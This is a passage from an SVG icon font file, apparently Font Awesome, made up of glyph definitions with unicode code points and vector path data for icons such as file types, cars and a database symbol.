t-52 -47l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-4 2 -7 4q-2 -2 -7 -4l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-33 16 -52 47t-19 67v416q0 38 21.5 70t56.5 48l434 186v400q0 38 21.5 70t56.5 48l448 192q23 10 50 10t50 -10l448 -192q35 -16 56.5 -48t21.5 -70
v-400l434 -186q36 -16 57 -48t21 -70z" />
    <glyph glyph-name="_409" unicode="&#xf1b4;" horiz-adv-x="2048" 
d="M1848 1197h-511v-124h511v124zM1596 771q-90 0 -146 -52.5t-62 -142.5h408q-18 195 -200 195zM1612 186q63 0 122 32t76 87h221q-100 -307 -427 -307q-214 0 -340.5 132t-126.5 347q0 208 130.5 345.5t336.5 137.5q138 0 240.5 -68t153 -179t50.5 -248q0 -17 -2 -47h-658
q0 -111 57.5 -171.5t166.5 -60.5zM277 236h296q205 0 205 167q0 180 -199 180h-302v-347zM277 773h281q78 0 123.5 36.5t45.5 113.5q0 144 -190 144h-260v-294zM0 1282h594q87 0 155 -14t126.5 -47.5t90 -96.5t31.5 -154q0 -181 -172 -263q114 -32 172 -115t58 -204
q0 -75 -24.5 -136.5t-66 -103.5t-98.5 -71t-121 -42t-134 -13h-611v1260z" />
    <glyph glyph-name="_410" unicode="&#xf1b5;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM499 1041h-371v-787h382q117 0 197 57.5t80 170.5q0 158 -143 200q107 52 107 164q0 57 -19.5 96.5
t-56.5 60.5t-79 29.5t-97 8.5zM477 723h-176v184h163q119 0 119 -90q0 -94 -106 -94zM486 388h-185v217h189q124 0 124 -113q0 -104 -128 -104zM1136 356q-68 0 -104 38t-36 107h411q1 10 1 30q0 132 -74.5 220.5t-203.5 88.5q-128 0 -210 -86t-82 -216q0 -135 79 -217
t213 -82q205 0 267 191h-138q-11 -34 -47.5 -54t-75.5 -20zM1126 722q113 0 124 -122h-254q4 56 39 89t91 33zM964 988h319v-77h-319v77z" />
    <glyph glyph-name="_411" unicode="&#xf1b6;" horiz-adv-x="1792" 
d="M1582 954q0 -101 -71.5 -172.5t-172.5 -71.5t-172.5 71.5t-71.5 172.5t71.5 172.5t172.5 71.5t172.5 -71.5t71.5 -172.5zM812 212q0 104 -73 177t-177 73q-27 0 -54 -6l104 -42q77 -31 109.5 -106.5t1.5 -151.5q-31 -77 -107 -109t-152 -1q-21 8 -62 24.5t-61 24.5
q32 -60 91 -96.5t130 -36.5q104 0 177 73t73 177zM1642 953q0 126 -89.5 215.5t-215.5 89.5q-127 0 -216.5 -89.5t-89.5 -215.5q0 -127 89.5 -216t216.5 -89q126 0 215.5 89t89.5 216zM1792 953q0 -189 -133.5 -322t-321.5 -133l-437 -319q-12 -129 -109 -218t-229 -89
q-121 0 -214 76t-118 192l-230 92v429l389 -157q79 48 173 48q13 0 35 -2l284 407q2 187 135.5 319t320.5 132q188 0 321.5 -133.5t133.5 -321.5z" />
    <glyph glyph-name="_412" unicode="&#xf1b7;" 
d="M1242 889q0 80 -57 136.5t-137 56.5t-136.5 -57t-56.5 -136q0 -80 56.5 -136.5t136.5 -56.5t137 56.5t57 136.5zM632 301q0 -83 -58 -140.5t-140 -57.5q-56 0 -103 29t-72 77q52 -20 98 -40q60 -24 120 1.5t85 86.5q24 60 -1.5 120t-86.5 84l-82 33q22 5 42 5
q82 0 140 -57.5t58 -140.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v153l172 -69q20 -92 93.5 -152t168.5 -60q104 0 181 70t87 173l345 252q150 0 255.5 105.5t105.5 254.5q0 150 -105.5 255.5t-255.5 105.5
q-148 0 -253 -104.5t-107 -252.5l-225 -322q-9 1 -28 1q-75 0 -137 -37l-297 119v468q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5zM1289 887q0 -100 -71 -170.5t-171 -70.5t-170.5 70.5t-70.5 170.5t70.5 171t170.5 71q101 0 171.5 -70.5t70.5 -171.5z
" />
    <glyph glyph-name="_413" unicode="&#xf1b8;" horiz-adv-x="1792" 
d="M836 367l-15 -368l-2 -22l-420 29q-36 3 -67 31.5t-47 65.5q-11 27 -14.5 55t4 65t12 55t21.5 64t19 53q78 -12 509 -28zM449 953l180 -379l-147 92q-63 -72 -111.5 -144.5t-72.5 -125t-39.5 -94.5t-18.5 -63l-4 -21l-190 357q-17 26 -18 56t6 47l8 18q35 63 114 188
l-140 86zM1680 436l-188 -359q-12 -29 -36.5 -46.5t-43.5 -20.5l-18 -4q-71 -7 -219 -12l8 -164l-230 367l211 362l7 -173q170 -16 283 -5t170 33zM895 1360q-47 -63 -265 -435l-317 187l-19 12l225 356q20 31 60 45t80 10q24 -2 48.5 -12t42 -21t41.5 -33t36 -34.5
t36 -39.5t32 -35zM1550 1053l212 -363q18 -37 12.5 -76t-27.5 -74q-13 -20 -33 -37t-38 -28t-48.5 -22t-47 -16t-51.5 -14t-46 -12q-34 72 -265 436l313 195zM1407 1279l142 83l-220 -373l-419 20l151 86q-34 89 -75 166t-75.5 123.5t-64.5 80t-47 46.5l-17 13l405 -1
q31 3 58 -10.5t39 -28.5l11 -15q39 -61 112 -190z" />
    <glyph glyph-name="_414" unicode="&#xf1b9;" horiz-adv-x="2048" 
d="M480 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM516 768h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5zM1888 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM2048 544v-384
q0 -14 -9 -23t-23 -9h-96v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-1024v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5t179 63.5h768q98 0 179 -63.5t104 -157.5
l105 -419h28q93 0 158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_415" unicode="&#xf1ba;" horiz-adv-x="2048" 
d="M1824 640q93 0 158.5 -65.5t65.5 -158.5v-384q0 -14 -9 -23t-23 -9h-96v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-1024v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5
t179 63.5h128v224q0 14 9 23t23 9h448q14 0 23 -9t9 -23v-224h128q98 0 179 -63.5t104 -157.5l105 -419h28zM320 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM516 640h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5z
M1728 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47z" />
    <glyph glyph-name="_416" unicode="&#xf1bb;" 
d="M1504 64q0 -26 -19 -45t-45 -19h-462q1 -17 6 -87.5t5 -108.5q0 -25 -18 -42.5t-43 -17.5h-320q-25 0 -43 17.5t-18 42.5q0 38 5 108.5t6 87.5h-462q-26 0 -45 19t-19 45t19 45l402 403h-229q-26 0 -45 19t-19 45t19 45l402 403h-197q-26 0 -45 19t-19 45t19 45l384 384
q19 19 45 19t45 -19l384 -384q19 -19 19 -45t-19 -45t-45 -19h-197l402 -403q19 -19 19 -45t-19 -45t-45 -19h-229l402 -403q19 -19 19 -45z" />
    <glyph glyph-name="_417" unicode="&#xf1bc;" 
d="M1127 326q0 32 -30 51q-193 115 -447 115q-133 0 -287 -34q-42 -9 -42 -52q0 -20 13.5 -34.5t35.5 -14.5q5 0 37 8q132 27 243 27q226 0 397 -103q19 -11 33 -11q19 0 33 13.5t14 34.5zM1223 541q0 40 -35 61q-237 141 -548 141q-153 0 -303 -42q-48 -13 -48 -64
q0 -25 17.5 -42.5t42.5 -17.5q7 0 37 8q122 33 251 33q279 0 488 -124q24 -13 38 -13q25 0 42.5 17.5t17.5 42.5zM1331 789q0 47 -40 70q-126 73 -293 110.5t-343 37.5q-204 0 -364 -47q-23 -7 -38.5 -25.5t-15.5 -48.5q0 -31 20.5 -52t51.5 -21q11 0 40 8q133 37 307 37
q159 0 309.5 -34t253.5 -95q21 -12 40 -12q29 0 50.5 20.5t21.5 51.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_418" unicode="&#xf1bd;" horiz-adv-x="1024" 
d="M1024 1233l-303 -582l24 -31h279v-415h-507l-44 -30l-142 -273l-30 -30h-301v303l303 583l-24 30h-279v415h507l44 30l142 273l30 30h301v-303z" />
    <glyph glyph-name="_419" unicode="&#xf1be;" horiz-adv-x="2304" 
d="M784 164l16 241l-16 523q-1 10 -7.5 17t-16.5 7q-9 0 -16 -7t-7 -17l-14 -523l14 -241q1 -10 7.5 -16.5t15.5 -6.5q22 0 24 23zM1080 193l11 211l-12 586q0 16 -13 24q-8 5 -16 5t-16 -5q-13 -8 -13 -24l-1 -6l-10 -579q0 -1 11 -236v-1q0 -10 6 -17q9 -11 23 -11
q11 0 20 9q9 7 9 20zM35 533l20 -128l-20 -126q-2 -9 -9 -9t-9 9l-17 126l17 128q2 9 9 9t9 -9zM121 612l26 -207l-26 -203q-2 -9 -10 -9q-9 0 -9 10l-23 202l23 207q0 9 9 9q8 0 10 -9zM401 159zM213 650l25 -245l-25 -237q0 -11 -11 -11q-10 0 -12 11l-21 237l21 245
q2 12 12 12q11 0 11 -12zM307 657l23 -252l-23 -244q-2 -13 -14 -13q-13 0 -13 13l-21 244l21 252q0 13 13 13q12 0 14 -13zM401 639l21 -234l-21 -246q-2 -16 -16 -16q-6 0 -10.5 4.5t-4.5 11.5l-20 246l20 234q0 6 4.5 10.5t10.5 4.5q14 0 16 -15zM784 164zM495 785
l21 -380l-21 -246q0 -7 -5 -12.5t-12 -5.5q-16 0 -18 18l-18 246l18 380q2 18 18 18q7 0 12 -5.5t5 -12.5zM589 871l19 -468l-19 -244q0 -8 -5.5 -13.5t-13.5 -5.5q-18 0 -20 19l-16 244l16 468q2 19 20 19q8 0 13.5 -5.5t5.5 -13.5zM687 911l18 -506l-18 -242
q-2 -21 -22 -21q-19 0 -21 21l-16 242l16 506q0 9 6.5 15.5t14.5 6.5q9 0 15 -6.5t7 -15.5zM1079 169v0v0v0zM881 915l15 -510l-15 -239q0 -10 -7.5 -17.5t-17.5 -7.5t-17 7t-8 18l-14 239l14 510q0 11 7.5 18t17.5 7t17.5 -7t7.5 -18zM980 896l14 -492l-14 -236
q0 -11 -8 -19t-19 -8t-19 8t-9 19l-12 236l12 492q1 12 9 20t19 8t18.5 -8t8.5 -20zM1192 404l-14 -231v0q0 -13 -9 -22t-22 -9t-22 9t-10 22l-6 114l-6 117l12 636v3q2 15 12 24q9 7 20 7q8 0 15 -5q14 -8 16 -26zM2304 423q0 -117 -83 -199.5t-200 -82.5h-786
q-13 2 -22 11t-9 22v899q0 23 28 33q85 34 181 34q195 0 338 -131.5t160 -323.5q53 22 110 22q117 0 200 -83t83 -201z" />
    <glyph glyph-name="uniF1C0" unicode="&#xf1c0;" 
d="M768 768q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 0q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127
t443 -43zM768 384q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 1536q208 0 385 -34.5t280 -93.5t103 -128v-128q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5
t-103 128v128q0 69 103 128t280 93.5t385 34.5z" />
    <glyph glyph-name="uniF1C1" unicode="&#xf1c1;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M894 465q33 -26 84 -56q59 7 117 7q147 0 177 -49q16 -22 2 -52q0 -1 -1 -2l-2 -2v-1q-6 -38 -71 -38q-48 0 -115 20t-130 53q-221 -24 -392 -83q-153 -262 -242 -262q-15 0 -28 7l-24 12q-1 1 -6 5q-10 10 -6 36q9 40 56 91.5t132 96.5q14 9 23 -6q2 -2 2 -4q52 85 107 197
q68 136 104 262q-24 82 -30.5 159.5t6.5 127.5q11 40 42 40h21h1q23 0 35 -15q18 -21 9 -68q-2 -6 -4 -8q1 -3 1 -8v-30q-2 -123 -14 -192q55 -164 146 -238zM318 54q52 24 137 158q-51 -40 -87.5 -84t-49.5 -74zM716 974q-15 -42 -2 -132q1 7 7 44q0 3 7 43q1 4 4 8
q-1 1 -1 2q-1 2 -1 3q-1 22 -13 36q0 -1 -1 -2v-2zM592 313q135 54 284 81q-2 1 -13 9.5t-16 13.5q-76 67 -127 176q-27 -86 -83 -197q-30 -56 -45 -83zM1238 329q-24 24 -140 24q76 -28 124 -28q14 0 18 1q0 1 -2 3z" />
    <glyph glyph-name="_422" unicode="&#xf1c2;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M233 768v-107h70l164 -661h159l128 485q7 20 10 46q2 16 2 24h4l3 -24q1 -3 3.5 -20t5.5 -26l128 -485h159l164 661h70v107h-300v-107h90l-99 -438q-5 -20 -7 -46l-2 -21h-4q0 3 -0.5 6.5t-1.5 8t-1 6.5q-1 5 -4 21t-5 25l-144 545h-114l-144 -545q-2 -9 -4.5 -24.5
t-3.5 -21.5l-4 -21h-4l-2 21q-2 26 -7 46l-99 438h90v107h-300z" />
    <glyph glyph-name="_423" unicode="&#xf1c3;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M429 106v-106h281v106h-75l103 161q5 7 10 16.5t7.5 13.5t3.5 4h2q1 -4 5 -10q2 -4 4.5 -7.5t6 -8t6.5 -8.5l107 -161h-76v-106h291v106h-68l-192 273l195 282h67v107h-279v-107h74l-103 -159q-4 -7 -10 -16.5t-9 -13.5l-2 -3h-2q-1 4 -5 10q-6 11 -17 23l-106 159h76v107
h-290v-107h68l189 -272l-194 -283h-68z" />
    <glyph glyph-name="_424" unicode="&#xf1c4;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M416 106v-106h327v106h-93v167h137q76 0 118 15q67 23 106.5 87t39.5 146q0 81 -37 141t-100 87q-48 19 -130 19h-368v-107h92v-555h-92zM769 386h-119v268h120q52 0 83 -18q56 -33 56 -115q0 -89 -62 -120q-31 -15 -78 -15z" />
    <glyph glyph-name="_425" unicode="&#xf1c5;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M1280 320v-320h-1024v192l192 192l128 -128l384 384zM448 512q-80 0 -136 56t-56 136t56 136t136 56t136 -56t56 -136t-56 -136t-136 -56z" />
    <glyph glyph-name="_426" unicode="&#xf1c6;" 
d="M640 1152v128h-128v-128h128zM768 1024v128h-128v-128h128zM640 896v128h-128v-128h128zM768 768v128h-128v-128h128zM1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400
v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-128v-128h-128v128h-512v-1536h1280zM781 593l107 -349q8 -27 8 -52q0 -83 -72.5 -137.5t-183.5 -54.5t-183.5 54.5t-72.5 137.5q0 25 8 52q21 63 120 396v128h128v-128h79
q22 0 39 -13t23 -34zM640 128q53 0 90.5 19t37.5 45t-37.5 45t-90.5 19t-90.5 -19t-37.5 -45t37.5 -45t90.5 -19z" />
    <glyph glyph-name="_427" unicode="&#xf1c7;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M620 686q20 -8 20 -30v-544q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-166 167h-131q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h131l166 167q16 15 35 7zM1037 -3q31 0 50 24q129 159 129 363t-129 363q-16 21 -43 24t-47 -14q-21 -17 -23.5 -43.5t14.5 -47.5
q100 -123 100 -282t-100 -282q-17 -21 -14.5 -47.5t23.5 -42.5q18 -15 40 -15zM826 145q27 0 47 20q87 93 87 219t-87 219q-18 19 -45 20t-46 -17t-20 -44.5t18 -46.5q52 -57 52 -131t-52 -131q-19 -20 -18 -46.5t20 -44.5q20 -17 44 -17z" />
    <glyph glyph-name="_428" unicode="&#xf1c8;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M768 768q52 0 90 -38t38 -90v-384q0 -52 -38 -90t-90 -38h-384q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h384zM1260 766q20 -8 20 -30v-576q0 -22 -20 -30q-8 -2 -12 -2q-14 0 -23 9l-265 266v90l265 266q9 9 23 9q4 0 12 -2z" />
    <glyph glyph-name="_429" unicode="&#xf1c9;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M480 768q8 11 21 12.5t24 -6.5l51 -38q11 -8 12.5 -21t-6.5 -24l-182 -243l182 -243q8 -11 6.5 -24t-12.5 -21l-51 -38q-11 -8 -24 -6.5t-21 12.5l-226 301q-14 19 0 38zM1282 467q14 -19 0 -38l-226 -301q-8 -11 -21 -12.5t-24 6.5l-51 38q-11 8 -12.5 21t6.5 24l182 243
l-182 243q-8 11 -6.5 24t12.5 21l51 38q11 8 24 6.5t21 -12.5zM662 6q-13 2 -20.5 13t-5.5 24l138 831q2 13 13 20.5t24 5.5l63 -10q13 -2 20.5 -13t5.5 -24l-138 -831q-2 -13 -13 -20.5t-24 -5.5z" />
    <glyph glyph-name="_430" unicode="&#xf1ca;" 
d="M1497 709v-198q-101 -23 -198 -23q-65 -136 -165.5 -271t-181.5 -215.5t-128 -106.5q-80 -45 -162 3q-28 17 -60.5 43.5t-85 83.5t-102.5 128.5t-107.5 184t-105.5 244t-91.5 314.5t-70.5 390h283q26 -218 70 -398.5t104.5 -317t121.5 -235.5t140 -195q169 169 287 406
q-142 72 -223 220t-81 333q0 192 104 314.5t284 122.5q178 0 273 -105.5t95 -297.5q0 -159 -58 -286q-7 -1 -19.5 -3t-46 -2t-63 6t-62 25.5t-50.5 51.5q31 103 31 184q0 87 -29 132t-79 45q-53 0 -85 -49.5t-32 -140.5q0 -186 105 -293.5t267 -107.5q62 0 121 14z" />
    <glyph glyph-name="_431" unicode="&#xf1cb;" horiz-adv-x="1792" 
d="M216 367l603 -402v359l-334 223zM154 511l193 129l-193 129v-258zM973 -35l603 402l-269 180l-334 -223v-359zM896 458l272 182l-272 182l-272 -182zM485 733l334 223v359l-603 -402zM1445 640l193 -129v258zM1307 733l269 180l-603 402v-359zM1792 913v-546
q0 -41 -34 -64l-819 -546q-21 -13 -43 -13t-43 13l-819 546q-34 23 -34 64v546q0 41 34 64l819 546q21 13 43 13t43 -13l819 -546q34 -23 34 -64z" />
    <glyph glyph-name="_432" unicode="&#xf1cc;" horiz-adv-x="2048" 
d="M1800 764q111 -46 179.5 -145.5t68.5 -221.5q0 -164 -118 -280.5t-285 -116.5q-4 0 -11.5 0.5t-10.5 0.5h-1209h-1h-2h-5q-170 10 -288 125.5t-118 280.5q0 110 55 203t147 147q-12 39 -12 82q0 115 82 196t199 81q95 0 172 -58q75 154 222.5 248t326.5 94
q166 0 306 -80.5t221.5 -218.5t81.5 -301q0 -6 -0.5 -18t-0.5 -18zM468 498q0 -122 84 -193t208 -71q137 0 240 99q-16 20 -47.5 56.5t-43.5 50.5q-67 -65 -144 -65q-55 0 -93.5 33.5t-38.5 87.5q0 53 38.5 87t91.5 34q44 0 84.5 -21t73 -55t65 -75t69 -82t77 -75t97 -55
t121.5 -21q121 0 204.5 71.5t83.5 190.5q0 121 -84 192t-207 71q-143 0 -241 -97l93 -108q66 64 142 64q52 0 92 -33t40 -84q0 -57 -37 -91.5t-94 -34.5q-43 0 -82.5 21t-72 55t-65.5 75t-69.5 82t-77.5 75t-96.5 55t-118.5 21q-122 0 -207 -70.5t-85 -189.5z" />
    <glyph glyph-name="_433" unicode="&#xf1cd;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 1408q-190 0 -361 -90l194 -194q82 28 167 28t167 -28l194 194q-171 90 -361 90zM218 279l194 194
q-28 82 -28 167t28 167l-194 194q-90 -171 -90 -361t90 -361zM896 -128q190 0 361 90l-194 194q-82 -28 -167 -28t-167 28l-194 -194q171 -90 361 -90zM896 256q159 0 271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5
t271.5 -112.5zM1380 473l194 -194q90 171 90 361t-90 361l-194 -194q28 -82 28 -167t-28 -167z" />
    <glyph glyph-name="_434" unicode="&#xf1ce;" horiz-adv-x="1792" 
d="M1760 640q0 -176 -68.5 -336t-184 -275.5t-275.5 -184t-336 -68.5t-336 68.5t-275.5 184t-184 275.5t-68.5 336q0 213 97 398.5t265 305.5t374 151v-228q-221 -45 -366.5 -221t-145.5 -406q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5
t136.5 204t51 248.5q0 230 -145.5 406t-366.5 221v228q206 -31 374 -151t265 -305.5t97 -398.5z" />
    <glyph glyph-name="uniF1D0" unicode="&#xf1d0;" horiz-adv-x="1792" 
d="M19 662q8 217 116 406t305 318h5q0 -1 -1 -3q-8 -8 -28 -33.5t-52 -76.5t-60 -110.5t-44.5 -135.5t-14 -150.5t39 -157.5t108.5 -154q50 -50 102 -69.5t90.5 -11.5t69.5 23.5t47 32.5l16 16q39 51 53 116.5t6.5 122.5t-21 107t-26.5 80l-14 29q-10 25 -30.5 49.5t-43 41
t-43.5 29.5t-35 19l-13 6l104 115q39 -17 78 -52t59 -61l19 -27q1 48 -18.5 103.5t-40.5 87.5l-20 31l161 183l160 -181q-33 -46 -52.5 -102.5t-22.5 -90.5l-4 -33q22 37 61.5 72.5t67.5 52.5l28 17l103 -115q-44 -14 -85 -50t-60 -65l-19 -29q-31 -56 -48 -133.5t-7 -170
t57 -156.5q33 -45 77.5 -60.5t85 -5.5t76 26.5t57.5 33.5l21 16q60 53 96.5 115t48.5 121.5t10 121.5t-18 118t-37 107.5t-45.5 93t-45 72t-34.5 47.5l-13 17q-14 13 -7 13l10 -3q40 -29 62.5 -46t62 -50t64 -58t58.5 -65t55.5 -77t45.5 -88t38 -103t23.5 -117t10.5 -136
q3 -259 -108 -465t-312 -321t-456 -115q-185 0 -351 74t-283.5 198t-184 293t-60.5 353z" />
    <glyph glyph-name="uniF1D1" unicode="&#xf1d1;" horiz-adv-x="1792" 
d="M874 -102v-66q-208 6 -385 109.5t-283 275.5l58 34q29 -49 73 -99l65 57q148 -168 368 -212l-17 -86q65 -12 121 -13zM276 428l-83 -28q22 -60 49 -112l-57 -33q-98 180 -98 385t98 385l57 -33q-30 -56 -49 -112l82 -28q-35 -100 -35 -212q0 -109 36 -212zM1528 251
l58 -34q-106 -172 -283 -275.5t-385 -109.5v66q56 1 121 13l-17 86q220 44 368 212l65 -57q44 50 73 99zM1377 805l-233 -80q14 -42 14 -85t-14 -85l232 -80q-31 -92 -98 -169l-185 162q-57 -67 -147 -85l48 -241q-52 -10 -98 -10t-98 10l48 241q-90 18 -147 85l-185 -162
q-67 77 -98 169l232 80q-14 42 -14 85t14 85l-233 80q33 93 99 169l185 -162q59 68 147 86l-48 240q44 10 98 10t98 -10l-48 -240q88 -18 147 -86l185 162q66 -76 99 -169zM874 1448v-66q-65 -2 -121 -13l17 -86q-220 -42 -368 -211l-65 56q-38 -42 -73 -98l-57 33
q106 172 282 275.5t385 109.5zM1705 640q0 -205 -98 -385l-57 33q27 52 49 112l-83 28q36 103 36 212q0 112 -35 212l82 28q-19 56 -49 112l57 33q98 -180 98 -385zM1585 1063l-57 -33q-35 56 -73 98l-65 -56q-148 169 -368 211l17 86q-56 11 -121 13v66q209 -6 385 -109.5
t282 -275.5zM1748 640q0 173 -67.5 331t-181.5 272t-272 181.5t-331 67.5t-331 -67.5t-272 -181.5t-181.5 -272t-67.5 -331t67.5 -331t181.5 -272t272 -181.5t331 -67.5t331 67.5t272 181.5t181.5 272t67.5 331zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF1D2" unicode="&#xf1d2;" 
d="M582 228q0 -66 -93 -66q-107 0 -107 63q0 64 98 64q102 0 102 -61zM546 694q0 -85 -74 -85q-77 0 -77 84q0 90 77 90q36 0 55 -25.5t19 -63.5zM712 769v125q-78 -29 -135 -29q-50 29 -110 29q-86 0 -145 -57t-59 -143q0 -50 29.5 -102t73.5 -67v-3q-38 -17 -38 -85
q0 -53 41 -77v-3q-113 -37 -113 -139q0 -45 20 -78.5t54 -51t72 -25.5t81 -8q224 0 224 188q0 67 -48 99t-126 46q-27 5 -51.5 20.5t-24.5 39.5q0 44 49 52q77 15 122 70t45 134q0 24 -10 52q37 9 49 13zM771 350h137q-2 27 -2 82v387q0 46 2 69h-137q3 -23 3 -71v-392
q0 -50 -3 -75zM1280 366v121q-30 -21 -68 -21q-53 0 -53 82v225h52q9 0 26.5 -1t26.5 -1v117h-105q0 82 3 102h-140q4 -24 4 -55v-47h-60v-117q36 3 37 3q3 0 11 -0.5t12 -0.5v-2h-2v-217q0 -37 2.5 -64t11.5 -56.5t24.5 -48.5t43.5 -31t66 -12q64 0 108 24zM924 1072
q0 36 -24 63.5t-60 27.5t-60.5 -27t-24.5 -64q0 -36 25 -62.5t60 -26.5t59.5 27t24.5 62zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_438" unicode="&#xf1d3;" horiz-adv-x="1792" 
d="M595 22q0 100 -165 100q-158 0 -158 -104q0 -101 172 -101q151 0 151 105zM536 777q0 61 -30 102t-89 41q-124 0 -124 -145q0 -135 124 -135q119 0 119 137zM805 1101v-202q-36 -12 -79 -22q16 -43 16 -84q0 -127 -73 -216.5t-197 -112.5q-40 -8 -59.5 -27t-19.5 -58
q0 -31 22.5 -51.5t58 -32t78.5 -22t86 -25.5t78.5 -37.5t58 -64t22.5 -98.5q0 -304 -363 -304q-69 0 -130 12.5t-116 41t-87.5 82t-32.5 127.5q0 165 182 225v4q-67 41 -67 126q0 109 63 137v4q-72 24 -119.5 108.5t-47.5 165.5q0 139 95 231.5t235 92.5q96 0 178 -47
